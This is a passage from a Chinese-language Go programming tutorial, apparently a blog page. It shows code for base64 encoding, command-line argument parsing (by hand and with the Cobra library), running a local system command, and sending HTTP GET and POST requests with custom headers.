class="string">&quot;key1&quot;</span>))</span><br><span class="line">  fmt.Println(<span class="string">&quot;key2:&quot;</span>, query.Get(<span class="string">&quot;key2&quot;</span>))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="base64"><a href="#base64" class="headerlink" title="base64"></a>base64</h2><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// base64编码</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">base64Encode</span><span class="params">(encodeStr <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">  <span class="keyword">return</span> base64.StdEncoding.EncodeToString([]<span class="keyword">byte</span>(encodeStr))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//base64解码</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Base64Decode</span><span class="params">(decodeStr <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">  decoded, err := base64.StdEncoding.DecodeString(decodeStr)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="built_in">panic</span>(err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">string</span>(decoded)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="命令行参数"><a href="#命令行参数" class="headerlink" title="命令行参数"></a>命令行参数</h2><h3 id="标准库（不推荐）"><a href="#标准库（不推荐）" class="headerlink" title="标准库（不推荐）"></a>标准库（不推荐）</h3><p>parseArgs为主要的函数</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;os&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  argsMap := parseArgs()</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> argA, ok := argsMap[<span class="string">&quot;-a&quot;</span>]; ok &#123;</span><br><span class="line">    <span class="comment">//获取-a 参数后面的值</span></span><br><span class="line">    fmt.Println(argA)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> _, ok := argsMap[<span class="string">&quot;-b&quot;</span>]; ok &#123;</span><br><span class="line">    <span class="comment">//如果有 -b 就执行该函数</span></span><br><span class="line">    test()</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ParseArgs</span><span class="params">()</span> <span class="title">map</span>[<span class="title">string</span>]<span class="title">string</span></span> &#123;</span><br><span class="line">  argsMap := <span class="built_in">make</span>(<span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">string</span>)</span><br><span class="line">  <span class="keyword">for</span> i := <span class="number">1</span>; i &lt; <span class="built_in">len</span>(os.Args); i++ &#123;</span><br><span class="line">    arg := os.Args[i]</span><br><span class="line">    <span class="keyword">if</span> i &lt; <span class="built_in">len</span>(os.Args)<span class="number">-1</span> &#123;</span><br><span class="line">      argsMap[arg] = os.Args[i+<span class="number">1</span>]</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      argsMap[arg] = <span class="string">&quot;&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> argsMap</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">test</span><span class="params">()</span></span> &#123;</span><br><span class="line">  fmt.Println(<span class="string">&quot;test&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="Cobra-库（推荐）"><a href="#Cobra-库（推荐）" class="headerlink" title="Cobra 库（推荐）"></a>Cobra 库（推荐）</h3><p><a href="https://github.com/spf13/cobra" title="https://github.com/spf13/cobra">https://github.com/spf13/cobra</a></p><p>以下代码示例</p><p><img src="/2023/3397475585/image_eDFg_VhqTT.png"></p><p>安装和导入</p><p>举例子</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hugo server --port=<span class="number">1313</span> <span class="comment">//server 代表 command， port 代表 flag。</span></span><br><span class="line">git clone URL --bare   <span class="comment">//clone 代表 command，URL 代表操作的物-argument，bare 代表 flag。</span></span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//安装</span></span><br><span class="line"><span class="keyword">go</span> get -u github.com/spf13/cobra@latest</span><br><span class="line"><span class="keyword">go</span> install github.com/spf13/cobra-cli@latest</span><br><span class="line"></span><br><span class="line"><span class="comment">//导入</span></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;github.com/spf13/cobra&quot;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>项目目录下运行初始化</p><p>会创建一个<code>cmd/root.go</code> 和<code>main.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cobra-cli init  </span><br></pre></td></tr></table></figure><p>root.go是这个地方的描述</p><p><img src="/2023/3397475585/image_6DUe_X08Mq.png"></p><p>增加command 命令</p><p>生成一个<code>cmd/argPage.go</code></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cobra-cli add argPage</span><br></pre></td></tr></table></figure><p><img src="/2023/3397475585/image_w5szqUjrdn.png"></p><p>cmd/argPage.go</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cmd</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;github.com/spf13/cobra&quot;</span></span><br><span class="line">  <span class="string">&quot;os&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// argPageCmd represents the argPage command</span></span><br><span class="line"><span class="keyword">var</span> argPageCmd = &amp;cobra.Command&#123;</span><br><span class="line">  Use:   <span class="string">&quot;argPage&quot;</span>,</span><br><span class="line">  Short: <span class="string">&quot;A brief description of your command&quot;</span>,</span><br><span class="line">  Long: <span class="string">`A longer description that spans multiple lines and likely contains examples</span></span><br><span class="line"><span class="string">and usage of using your command. For example:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Cobra is a CLI library for Go that empowers applications.</span></span><br><span class="line"><span class="string">This application is a tool to generate the needed files</span></span><br><span class="line"><span class="string">to quickly create a Cobra application.`</span>,</span><br><span class="line">  PersistentPreRun: <span class="function"><span class="keyword">func</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">    <span class="comment">//检测是否输入args没有输入args就打印帮助</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(args) == <span class="number">0</span> &amp;&amp; <span class="built_in">len</span>(os.Args) == <span class="number">1</span> &#123;</span><br><span class="line">      <span class="comment">// 如果没有提供命令或标志，则打印所有标志的帮助信息</span></span><br><span class="line">      cmd.HelpFunc()(cmd, args)</span><br><span class="line">      os.Exit(<span class="number">0</span>)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  Run: runArgPage,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> &#123;</span><br><span class="line">  rootCmd.AddCommand(argPageCmd)</span><br><span class="line">  <span class="comment">//这里添加argPageCmd的标志位置</span></span><br><span class="line">  argPageCmd.PersistentFlags().StringP(<span class="string">&quot;All&quot;</span>, <span class="string">&quot;a&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;All to use&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">runArgPage</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">//处理All</span></span><br><span class="line">  All, err := cmd.Flags().GetString(<span class="string">&quot;All&quot;</span>)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="comment">// Handle error</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> All != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">    fmt.Println(<span class="string">&quot;All is:&quot;</span>, All)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>main.go</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;awesomeProject/cmd&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  cmd.Execute()</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>增加root flag标志位</p><p><img src="/2023/3397475585/image_jTcIWXVjp_.png"></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cmd</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  <span class="string">&quot;os&quot;</span></span><br><span class="line"></span><br><span class="line">  <span class="string">&quot;github.com/spf13/cobra&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> rootCmd = &amp;cobra.Command&#123;</span><br><span class="line">  <span class="comment">//usage标志位</span></span><br><span class="line">  Use:   <span class="string">&quot;./awesomeProject&quot;</span>,</span><br><span class="line">  <span class="comment">//简短的描述</span></span><br><span class="line">  Short: <span class="string">&quot;A brief description of your application&quot;</span>,</span><br><span class="line">  <span class="comment">//详细的描述</span></span><br><span class="line">  Long: <span class="string">`A longer description that spans multiple lines and likely contains</span></span><br><span class="line"><span class="string">to quickly create a Cobra application.`</span>,</span><br><span class="line">  PersistentPreRun: <span class="function"><span class="keyword">func</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">    <span class="comment">//检测是否输入args没有输入args就打印帮助</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(args) == <span class="number">0</span> &amp;&amp; <span class="built_in">len</span>(os.Args) == <span class="number">1</span> &#123;</span><br><span class="line">      <span class="comment">// 如果没有提供命令或标志，则打印所有标志的帮助信息</span></span><br><span class="line">      cmd.HelpFunc()(cmd, args)</span><br><span class="line">      os.Exit(<span class="number">0</span>)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  Run: run,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//root的入口，在main.go中调用cmd.Execute()</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Execute</span><span class="params">()</span></span> &#123;</span><br><span class="line">  err := rootCmd.Execute()</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    os.Exit(<span class="number">1</span>)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 增加标志位</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">// 增加flags标志位-核心代码</span></span><br><span class="line">  rootCmd.Flags().StringP(<span class="string">&quot;location&quot;</span>, <span class="string">&quot;l&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;Location to use&quot;</span>)</span><br><span class="line">  rootCmd.Flags().StringP(<span class="string">&quot;url&quot;</span>, <span class="string">&quot;u&quot;</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;select url&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理标志位指定的值</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">run</span><span class="params">(cmd *cobra.Command, args []<span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">  </span><br><span class="line">  <span class="comment">//处理location</span></span><br><span class="line">  location, err := cmd.Flags().GetString(<span class="string">&quot;location&quot;</span>)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="comment">// Handle error</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> location != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">    fmt.Println(<span class="string">&quot;Location is:&quot;</span>, location)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">//处理url</span></span><br><span class="line">  url, err := cmd.Flags().GetString(<span class="string">&quot;url&quot;</span>)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> url != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">    fmt.Println(<span class="string">&quot;url is&quot;</span>+url)</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>完整代码路径</p><p><code>/cmd/root.go，/cmd/argPage.go ,main.go</code></p><h2 id="执行系统命令"><a href="#执行系统命令" class="headerlink" title="执行系统命令"></a>执行系统命令</h2><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">//cmd := exec.Command(&quot;calc.exe&quot;)</span></span><br><span class="line">  cmd := exec.Command(<span class="string">&quot;ls&quot;</span>, <span class="string">&quot;-la&quot;</span>)</span><br><span class="line">  output, err := cmd.Output()</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">  &#125;</span><br><span class="line">  fmt.Println(<span class="keyword">string</span>(output))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="HTTP"><a href="#HTTP" class="headerlink" title="HTTP"></a>HTTP</h2><p>nc监听go发送的包</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -l <span class="number">47414</span></span><br></pre></td></tr></table></figure><h3 id="发送get请求"><a href="#发送get请求" class="headerlink" title="发送get请求"></a>发送get请求</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  m := GetFunc(<span class="string">&quot;https://baidu.com&quot;</span>)</span><br><span class="line">  fmt.Println(m[<span class="string">&quot;code&quot;</span>])</span><br><span class="line">  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GetFunc</span><span class="params">(url <span class="keyword">string</span>)</span> <span class="title">map</span>[<span class="title">string</span>]<span class="title">interface</span></span>&#123;&#125; &#123;</span><br><span class="line">  valueMap := <span class="built_in">make</span>(<span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;)</span><br><span class="line">  response, err := http.Get(url)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(<span class="string">&quot;Error while getting the response:&quot;</span>, err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">defer</span> response.Body.Close()</span><br><span class="line">  code := response.StatusCode</span><br><span class="line">  header := response.Header.Get(<span class="string">&quot;Server&quot;</span>)</span><br><span class="line">  body, err := io.ReadAll(response.Body)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  valueMap[<span class="string">&quot;code&quot;</span>] = code</span><br><span class="line">  valueMap[<span class="string">&quot;header&quot;</span>] = header</span><br><span class="line">  valueMap[<span class="string">&quot;body&quot;</span>] = <span class="keyword">string</span>(body)</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> valueMap</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="自定义Header-GET"><a href="#自定义Header-GET" class="headerlink" title="自定义Header (GET)"></a>自定义Header (GET)</h3><p>必须要传自定义的header</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">  <span class="string">&quot;fmt&quot;</span></span><br><span class="line">  jsoniter <span class="string">&quot;github.com/json-iterator/go&quot;</span></span><br><span class="line">  <span class="string">&quot;io&quot;</span></span><br><span class="line">  <span class="string">&quot;net/http&quot;</span></span><br><span class="line">  <span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">//参数拼接即可</span></span><br><span class="line">  url := <span class="string">&quot;http://httpbin.org/get&quot;</span></span><br><span class="line">  <span class="comment">//自定义 ua</span></span><br><span class="line">  headerCustom := <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">string</span>&#123;</span><br><span class="line">    <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;123&quot;</span>,</span><br><span class="line">    <span class="string">&quot;name&quot;</span>:       <span class="string">&quot;771&quot;</span>,</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  headerFunc := GetCustomHeaderFunc(url, headerCustom)</span><br><span class="line">  <span class="comment">//fmt.Println(headerFunc[&quot;body&quot;])</span></span><br><span class="line">  fmt.Println(headerFunc[<span class="string">&quot;headers&quot;</span>])</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GetCustomHeaderFunc</span><span class="params">(url <span class="keyword">string</span>, headerMap <span class="keyword">interface</span>&#123;&#125;)</span> <span class="title">map</span>[<span class="title">string</span>]<span class="title">interface</span></span>&#123;&#125; &#123;</span><br><span class="line">  req, err := http.NewRequest(<span class="string">&quot;GET&quot;</span>, url, <span class="literal">nil</span>)</span><br><span class="line">  respMap := <span class="built_in">make</span>(<span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  m := headerMap.(<span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">string</span>)</span><br><span class="line">  <span class="keyword">var</span> headerKey <span class="keyword">string</span></span><br><span class="line">  <span class="keyword">var</span> headerValue <span class="keyword">string</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> k, v := <span class="keyword">range</span> m &#123;</span><br><span class="line">    headerKey = k</span><br><span class="line">    headerValue = v</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">//设置header头</span></span><br><span class="line">  req.Header.Set(headerKey, headerValue)</span><br><span class="line">  client := http.Client&#123;</span><br><span class="line">    Timeout: <span class="number">3</span> * time.Second, <span class="comment">//超时时间</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  resp, err := client.Do(req)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  body, _ := io.ReadAll(resp.Body)</span><br><span class="line">  headers := jsoniter.Get(body, <span class="string">&quot;headers&quot;</span>)</span><br><span class="line"></span><br><span class="line">  respMap[<span class="string">&quot;body&quot;</span>] = <span class="keyword">string</span>(body)</span><br><span class="line">  respMap[<span class="string">&quot;headers&quot;</span>] = headers.ToString()</span><br><span class="line">  <span class="keyword">return</span> respMap</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Host&quot;</span>: <span class="string">&quot;httpbin.org&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Name&quot;</span>: <span class="string">&quot;771&quot;</span>,</span><br><span class="line">    <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Go-http-client/1.1&quot;</span>,</span><br><span class="line">    <span class="string">&quot;X-Amzn-Trace-Id&quot;</span>: <span class="string">&quot;Root=1-6437f80d-659f86f30de19c1d031f51cd&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="发送post请求-自定义"><a href="#发送post请求-自定义" class="headerlink" title="发送post请求(自定义)"></a>发送post请求(自定义)</h3><p>简单的</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">SendPostRequest</span><span class="params">(url <span class="keyword">string</span>, payload []<span class="keyword">byte</span>, headers <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">string</span>)</span> <span class="params">(*http.Response, error)</span></span> &#123;</span><br><span class="line">  req, err := http.NewRequest(<span class="string">&quot;POST&quot;</span>, url, bytes.NewBuffer(payload))</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 设置请求头部</span></span><br><span class="line">  <span class="keyword">for</span> key, value := <span class="keyword">range</span> headers &#123;</span><br><span class="line">    req.Header.Set(key, value)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 发送请求</span></span><br><span class="line">  client := &amp;http.Client&#123;&#125;</span><br><span 